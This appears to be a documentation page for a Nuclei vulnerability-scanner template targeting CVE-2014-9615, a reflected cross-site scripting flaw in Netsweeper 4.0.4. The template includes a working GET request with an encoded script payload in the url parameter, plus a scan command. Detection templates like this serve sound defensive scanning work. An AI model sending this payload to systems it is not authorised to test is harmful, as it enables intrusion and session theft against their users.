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Netsweeper 4.0.4 - Cross-Site Scripting

ID: CVE-2014-9615

Severity: medium

Author: daffainfo

Tags: cve2014,cve,netsweeper,xss,packetstorm

A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php.

id: CVE-2014-9615
info:
name: Netsweeper 4.0.4 - Cross-Site Scripting
author: daffainfo
severity: medium
description: A cross-site scripting vulnerability in Netsweeper 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter to webadmin/deny/index.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
- https://nvd.nist.gov/vuln/detail/CVE-2014-9615
- http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2014-9615
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.40591
cpe: cpe:2.3:a:netsweeper:netsweeper:4.0.4:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: netsweeper
product: netsweeper
tags: cve2014,cve,netsweeper,xss,packetstorm
http:
- method: GET
path:
- '{{BaseURL}}/webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a004730450221009198a98f8b9beed83d866e440bd4a8b40e902da816f2eb943faedd93fd731cbb022029c8d7bc082234fdd05ff797d8a373182971e185cd450141a70f7e433e8d3499:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9615.yaml"

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